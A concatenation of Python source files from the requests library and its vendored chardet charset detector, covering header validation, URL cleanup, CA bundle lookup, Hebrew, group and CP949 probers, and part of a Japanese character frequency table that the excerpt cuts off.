_CLEAN_HEADER_REGEX_STR = re.compile(r'^\S[^\r\n]*$|^$')

def check_header_validity(header):
    """Verifies that header value is a string which doesn't contain
    leading whitespace or return characters. This prevents unintended
    header injection.

    :param header: tuple, in the format (name, value).
    """
    name, value = header

    if isinstance(value, bytes):
        pat = _CLEAN_HEADER_REGEX_BYTE
    else:
        pat = _CLEAN_HEADER_REGEX_STR
    try:
        if not pat.match(value):
            raise InvalidHeader("Invalid return character or leading space in header: %s" % name)
    except TypeError:
        raise InvalidHeader("Header value %s must be of type str or bytes, "
                            "not %s" % (value, type(value)))


def urldefragauth(url):
    """
    Given a url remove the fragment and the authentication part.

    :rtype: str
    """
    scheme, netloc, path, params, query, fragment = urlparse(url)

    # see func:`prepend_scheme_if_needed`
    if not netloc:
        netloc, path = path, netloc

    netloc = netloc.rsplit('@', 1)[-1]

    return urlunparse((scheme, netloc, path, params, query, ''))






#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
requests.certs
~~~~~~~~~~~~~~

This module returns the preferred default CA certificate bundle.

If you are packaging Requests, e.g., for a Linux distribution or a managed
environment, you can change the definition of where() to return a separately
packaged CA bundle.
"""
import os.path

try:
    from certifi import where
except ImportError:
    def where():
        """Return the preferred certificate bundle."""
        # vendored bundle inside Requests
        return os.path.join(os.path.dirname(__file__), 'cacert.pem')

if __name__ == '__main__':
    print(where())






'''
Debian and other distributions "unbundle" requests' vendored dependencies, and
rewrite all imports to use the global versions of ``urllib3`` and ``chardet``.
The problem with this is that not only requests itself imports those
dependencies, but third-party code outside of the distros' control too.

In reaction to these problems, the distro maintainers replaced
``requests.packages`` with a magical "stub module" that imports the correct
modules. The implementations were varying in quality and all had severe
problems. For example, a symlink (or hardlink) that links the correct modules
into place introduces problems regarding object identity, since you now have
two modules in `sys.modules` with the same API, but different identities::

    requests.packages.urllib3 is not urllib3

With version ``2.5.2``, requests started to maintain its own stub, so that
distro-specific breakage would be reduced to a minimum, even though the whole
issue is not requests' fault in the first place. See
https://github.com/kennethreitz/requests/pull/2375 for the corresponding pull
request.
'''

from __future__ import absolute_import
import sys

try:
    from . import urllib3
except ImportError:
    import urllib3
    sys.modules['%s.urllib3' % __name__] = urllib3

try:
    from . import chardet
except ImportError:
    import chardet
    sys.modules['%s.chardet' % __name__] = chardet






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
#          Shy Shalom
# Portions created by the Initial Developer are Copyright (C) 2005
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .charsetprober import CharSetProber
from .constants import eNotMe, eDetecting
from .compat import wrap_ord

# This prober doesn't actually recognize a language or a charset.
# It is a helper prober for the use of the Hebrew model probers

### General ideas of the Hebrew charset recognition ###
#
# Four main charsets exist in Hebrew:
# "ISO-8859-8" - Visual Hebrew
# "windows-1255" - Logical Hebrew
# "ISO-8859-8-I" - Logical Hebrew
# "x-mac-hebrew" - ?? Logical Hebrew ??
#
# Both "ISO" charsets use a completely identical set of code points, whereas
# "windows-1255" and "x-mac-hebrew" are two different proper supersets of
# these code points. windows-1255 defines additional characters in the range
# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific
# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6.
# x-mac-hebrew defines similar additional code points but with a different
# mapping.
#
# As far as an average Hebrew text with no diacritics is concerned, all four
# charsets are identical with respect to code points. Meaning that for the
# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters
# (including final letters).
#
# The dominant difference between these charsets is their directionality.
# "Visual" directionality means that the text is ordered as if the renderer is
# not aware of a BIDI rendering algorithm. The renderer sees the text and
# draws it from left to right. The text itself when ordered naturally is read
# backwards. A buffer of Visual Hebrew generally looks like so:
# "[last word of first line spelled backwards] [whole line ordered backwards
# and spelled backwards] [first word of first line spelled backwards]
# [end of line] [last word of second line] ... etc' "
# adding punctuation marks, numbers and English text to visual text is
# naturally also "visual" and from left to right.
#
# "Logical" directionality means the text is ordered "naturally" according to
# the order it is read. It is the responsibility of the renderer to display
# the text from right to left. A BIDI algorithm is used to place general
# punctuation marks, numbers and English text in the text.
#
# Texts in x-mac-hebrew are almost impossible to find on the Internet. From
# what little evidence I could find, it seems that its general directionality
# is Logical.
#
# To sum up all of the above, the Hebrew probing mechanism knows about two
# charsets:
# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are
#    backwards while line order is natural. For charset recognition purposes
#    the line order is unimportant (In fact, for this implementation, even
#    word order is unimportant).
# Logical Hebrew - "windows-1255" - normal, naturally ordered text.
#
# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be
#    specifically identified.
# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew
#    that contain special punctuation marks or diacritics is displayed with
#    some unconverted characters showing as question marks. This problem might
#    be corrected using another model prober for x-mac-hebrew. Due to the fact
#    that x-mac-hebrew texts are so rare, writing another model prober isn't
#    worth the effort and performance hit.
#
#### The Prober ####
#
# The prober is divided between two SBCharSetProbers and a HebrewProber,
# all of which are managed, created, fed data, inquired and deleted by the
# SBCSGroupProber. The two SBCharSetProbers identify that the text is in
# fact some kind of Hebrew, Logical or Visual. The final decision about which
# one is it is made by the HebrewProber by combining final-letter scores
# with the scores of the two SBCharSetProbers to produce a final answer.
#
# The SBCSGroupProber is responsible for stripping the original text of HTML
# tags, English characters, numbers, low-ASCII punctuation characters, spaces
# and new lines. It reduces any sequence of such characters to a single space.
# The buffer fed to each prober in the SBCS group prober is pure text in
# high-ASCII.
# The two SBCharSetProbers (model probers) share the same language model:
# Win1255Model.
# The first SBCharSetProber uses the model normally as any other
# SBCharSetProber does, to recognize windows-1255, upon which this model was
# built. The second SBCharSetProber is told to make the pair-of-letter
# lookup in the language model backwards. This in practice exactly simulates
# a visual Hebrew model using the windows-1255 logical Hebrew model.
#
# The HebrewProber is not using any language model. All it does is look for
# final-letter evidence suggesting the text is either logical Hebrew or visual
# Hebrew. Disjointed from the model probers, the results of the HebrewProber
# alone are meaningless. HebrewProber always returns 0.00 as confidence
# since it never identifies a charset by itself. Instead, the pointer to the
# HebrewProber is passed to the model probers as a helper "Name Prober".
# When the Group prober receives a positive identification from any prober,
# it asks for the name of the charset identified. If the prober queried is a
# Hebrew model prober, the model prober forwards the call to the
# HebrewProber to make the final decision. In the HebrewProber, the
# decision is made according to the final-letters scores maintained and Both
# model probers scores. The answer is returned in the form of the name of the
# charset identified, either "windows-1255" or "ISO-8859-8".

# windows-1255 / ISO-8859-8 code points of interest
FINAL_KAF = 0xea
NORMAL_KAF = 0xeb
FINAL_MEM = 0xed
NORMAL_MEM = 0xee
FINAL_NUN = 0xef
NORMAL_NUN = 0xf0
FINAL_PE = 0xf3
NORMAL_PE = 0xf4
FINAL_TSADI = 0xf5
NORMAL_TSADI = 0xf6

# Minimum Visual vs Logical final letter score difference.
# If the difference is below this, don't rely solely on the final letter score
# distance.
MIN_FINAL_CHAR_DISTANCE = 5

# Minimum Visual vs Logical model score difference.
# If the difference is below this, don't rely at all on the model score
# distance.
MIN_MODEL_DISTANCE = 0.01

VISUAL_HEBREW_NAME = "ISO-8859-8"
LOGICAL_HEBREW_NAME = "windows-1255"


class HebrewProber(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self._mLogicalProber = None
        self._mVisualProber = None
        self.reset()

    def reset(self):
        self._mFinalCharLogicalScore = 0
        self._mFinalCharVisualScore = 0
        # The two last characters seen in the previous buffer,
        # mPrev and mBeforePrev are initialized to space in order to simulate
        # a word delimiter at the beginning of the data
        self._mPrev = ' '
        self._mBeforePrev = ' '
        # These probers are owned by the group prober.

    def set_model_probers(self, logicalProber, visualProber):
        self._mLogicalProber = logicalProber
        self._mVisualProber = visualProber

    def is_final(self, c):
        return wrap_ord(c) in [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE,
                               FINAL_TSADI]

    def is_non_final(self, c):
        # The normal Tsadi is not a good Non-Final letter due to words like
        # 'lechotet' (to chat) containing an apostrophe after the tsadi. This
        # apostrophe is converted to a space in FilterWithoutEnglishLetters
        # causing the Non-Final tsadi to appear at an end of a word even
        # though this is not the case in the original text.
        # The letters Pe and Kaf rarely display a related behavior of not being
        # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak'
        # for example legally end with a Non-Final Pe or Kaf. However, the
        # benefit of these letters as Non-Final letters outweighs the damage
        # since these words are quite rare.
        return wrap_ord(c) in [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE]

    def feed(self, aBuf):
        # Final letter analysis for logical-visual decision.
        # Look for evidence that the received buffer is either logical Hebrew
        # or visual Hebrew.
        # The following cases are checked:
        # 1) A word longer than 1 letter, ending with a final letter. This is
        #    an indication that the text is laid out "naturally" since the
        #    final letter really appears at the end. +1 for logical score.
        # 2) A word longer than 1 letter, ending with a Non-Final letter. In
        #    normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi,
        #    should not end with the Non-Final form of that letter. Exceptions
        #    to this rule are mentioned above in isNonFinal(). This is an
        #    indication that the text is laid out backwards. +1 for visual
        #    score
        # 3) A word longer than 1 letter, starting with a final letter. Final
        #    letters should not appear at the beginning of a word. This is an
        #    indication that the text is laid out backwards. +1 for visual
        #    score.
        #
        # The visual score and logical score are accumulated throughout the
        # text and are finally checked against each other in GetCharSetName().
        # No checking for final letters in the middle of words is done since
        # that case is not an indication for either Logical or Visual text.
        #
        # We automatically filter out all 7-bit characters (replace them with
        # spaces) so the word boundary detection works properly. [MAP]

        if self.get_state() == eNotMe:
            # Both model probers say it's not them. No reason to continue.
            return eNotMe

        aBuf = self.filter_high_bit_only(aBuf)

        for cur in aBuf:
            if cur == ' ':
                # We stand on a space - a word just ended
                if self._mBeforePrev != ' ':
                    # next-to-last char was not a space so self._mPrev is not a
                    # 1 letter word
                    if self.is_final(self._mPrev):
                        # case (1) [-2:not space][-1:final letter][cur:space]
                        self._mFinalCharLogicalScore += 1
                    elif self.is_non_final(self._mPrev):
                        # case (2) [-2:not space][-1:Non-Final letter][
                        #  cur:space]
                        self._mFinalCharVisualScore += 1
            else:
                # Not standing on a space
                if ((self._mBeforePrev == ' ') and
                        (self.is_final(self._mPrev)) and (cur != ' ')):
                    # case (3) [-2:space][-1:final letter][cur:not space]
                    self._mFinalCharVisualScore += 1
            self._mBeforePrev = self._mPrev
            self._mPrev = cur

        # Forever detecting, till the end or until both model probers return
        # eNotMe (handled above)
        return eDetecting

    def get_charset_name(self):
        # Make the decision: is it Logical or Visual?
        # If the final letter score distance is dominant enough, rely on it.
        finalsub = self._mFinalCharLogicalScore - self._mFinalCharVisualScore
        if finalsub >= MIN_FINAL_CHAR_DISTANCE:
            return LOGICAL_HEBREW_NAME
        if finalsub <= -MIN_FINAL_CHAR_DISTANCE:
            return VISUAL_HEBREW_NAME

        # It's not dominant enough, try to rely on the model scores instead.
        modelsub = (self._mLogicalProber.get_confidence()
                    - self._mVisualProber.get_confidence())
        if modelsub > MIN_MODEL_DISTANCE:
            return LOGICAL_HEBREW_NAME
        if modelsub < -MIN_MODEL_DISTANCE:
            return VISUAL_HEBREW_NAME

        # Still no good, back to final letter distance, maybe it'll save the
        # day.
        if finalsub < 0.0:
            return VISUAL_HEBREW_NAME

        # (finalsub > 0 - Logical) or (don't know what to do) default to
        # Logical.
        return LOGICAL_HEBREW_NAME

    def get_state(self):
        # Remain active as long as any of the model probers are active.
        if (self._mLogicalProber.get_state() == eNotMe) and \
           (self._mVisualProber.get_state() == eNotMe):
            return eNotMe
        return eDetecting






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
# 
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
# 
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
# 
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
# 
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from . import constants
import sys
from .charsetprober import CharSetProber


class CharSetGroupProber(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self._mActiveNum = 0
        self._mProbers = []
        self._mBestGuessProber = None

    def reset(self):
        CharSetProber.reset(self)
        self._mActiveNum = 0
        for prober in self._mProbers:
            if prober:
                prober.reset()
                prober.active = True
                self._mActiveNum += 1
        self._mBestGuessProber = None

    def get_charset_name(self):
        if not self._mBestGuessProber:
            self.get_confidence()
            if not self._mBestGuessProber:
                return None
#                self._mBestGuessProber = self._mProbers[0]
        return self._mBestGuessProber.get_charset_name()

    def feed(self, aBuf):
        for prober in self._mProbers:
            if not prober:
                continue
            if not prober.active:
                continue
            st = prober.feed(aBuf)
            if not st:
                continue
            if st == constants.eFoundIt:
                self._mBestGuessProber = prober
                return self.get_state()
            elif st == constants.eNotMe:
                prober.active = False
                self._mActiveNum -= 1
                if self._mActiveNum <= 0:
                    self._mState = constants.eNotMe
                    return self.get_state()
        return self.get_state()

    def get_confidence(self):
        st = self.get_state()
        if st == constants.eFoundIt:
            return 0.99
        elif st == constants.eNotMe:
            return 0.01
        bestConf = 0.0
        self._mBestGuessProber = None
        for prober in self._mProbers:
            if not prober:
                continue
            if not prober.active:
                if constants._debug:
                    sys.stderr.write(prober.get_charset_name()
                                     + ' not active\n')
                continue
            cf = prober.get_confidence()
            if constants._debug:
                sys.stderr.write('%s confidence = %s\n' %
                                 (prober.get_charset_name(), cf))
            if bestConf < cf:
                bestConf = cf
                self._mBestGuessProber = prober
        if not self._mBestGuessProber:
            return 0.0
        return bestConf
#        else:
#            self._mBestGuessProber = self._mProbers[0]
#            return self._mBestGuessProber.get_confidence()






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import EUCKRDistributionAnalysis
from .mbcssm import CP949SMModel


class CP949Prober(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(CP949SMModel)
        # NOTE: CP949 is a superset of EUC-KR, so the distribution should be
        #       not different.
        self._mDistributionAnalyzer = EUCKRDistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "CP949"






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# Sampling from about 20M text materials include literature and computer technology
#
# Japanese frequency table, applied to both S-JIS and EUC-JP
# They are sorted in order.

# 128  --> 0.77094
# 256  --> 0.85710
# 512  --> 0.92635
# 1024 --> 0.97130
# 2048 --> 0.99431
#
# Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58
# Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191
#
# Typical Distribution Ratio, 25% of IDR

JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0

# Char to FreqOrder table ,
JIS_TABLE_SIZE = 4368

JISCharToFreqOrder = (
  40,   1,   6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, #   16
3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247,  18, 179,5071, 856,1661, #   32
1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, #   48
2042,1061,1062,  48,  49,  44,  45, 433, 434,1040,1041, 996, 787,2997,1255,4305, #   64
2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, #   80
5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, #   96
1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, #  112
5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, #  128
5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, #  144
5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, #  160
5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, #  176
5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, #  192
5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, #  208
1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, #  224
1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, #  240
1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, #  256
2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, #  272
3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161,  26,3377,   2,3929,  20, #  288
3691,  47,4100,  50,  17,  16,  35, 268,  27, 243,  42, 155,  24, 154,  29, 184, #  304
   4,  91,  14,  92,  53, 396,  33, 289,   9,  37,  64, 620,  21,  39, 321,   5, #  320
  12,  11,  52,  13,   3, 208, 138,   0,   7,  60, 526, 141, 151,1069, 181, 275, #  336
1591,  83, 132,1475, 126, 331, 829,  15,  69, 160,  59,  22, 157,  55,1079, 312, #  352
 109,  38,  23,  25,  10,  19,  79,5195,  61, 382,1124,   8,  30,5196,5197,5198, #  368
5199,5200,5201,5202,5203,5204,5205,5206,  89,  62,  74,  34,2416, 112, 139, 196, #  384
 271, 149,  84, 607, 131, 765,  46,  88, 153, 683,  76, 874, 101, 258,  57,  80, #  400
  32, 364, 121,1508, 169,1547,  68, 235, 145,2999,  41, 360,3027,  70,  63,  31, #  416
  43, 259, 262,1383,  99, 533, 194,  66,  93, 846, 217, 192,  56, 106,  58, 565, #  432
 280, 272, 311, 256, 146,  82, 308,  71, 100, 128, 214, 655, 110, 261, 104,1140, #  448
  54,  51,  36,  87,  67,3070, 185,2618,2936,2020,  28,1066,2390,2059,5207,5208, #  464
5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, #  480
5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, #  496
5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, #  512
4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, #  528
5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, #  544
5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, #  560
5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, #  576
5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, #  592
5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, #  608
5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, #  624
5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, #  640
5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, #  656
5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, #  672
3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, #  688
5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, #  704
5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, #  720
5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, #  736
5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, #  752
5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, #  768
5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, #  784
5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, #  800
5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, #  816
5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, #  832
5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, #  848
5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, #  864
5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, #  880
5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, #  896
5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, #  912
5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, #  928
5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, #  944
5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, #  960
5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, #  976
5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, #  992
5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008
5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024
5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040
5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056
5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072
5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088
5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104
5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120
5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136
5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152
5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168
5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184
5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200
5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216
5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232
5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248
5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264
5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280
5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296
6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312
6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328
6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344
6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360
6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376
6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392
6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408
6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424
4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440
 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456
 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472
1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619,  65,3302,2045, # 1488
1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504
 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520
3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536
3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552
 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568
3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584
3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600
 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616
2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632
 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648
3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664
1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680
 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696
1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712
 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728
2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744
2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760
2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776
2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792
1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808
1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824
1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840
1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856
2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872
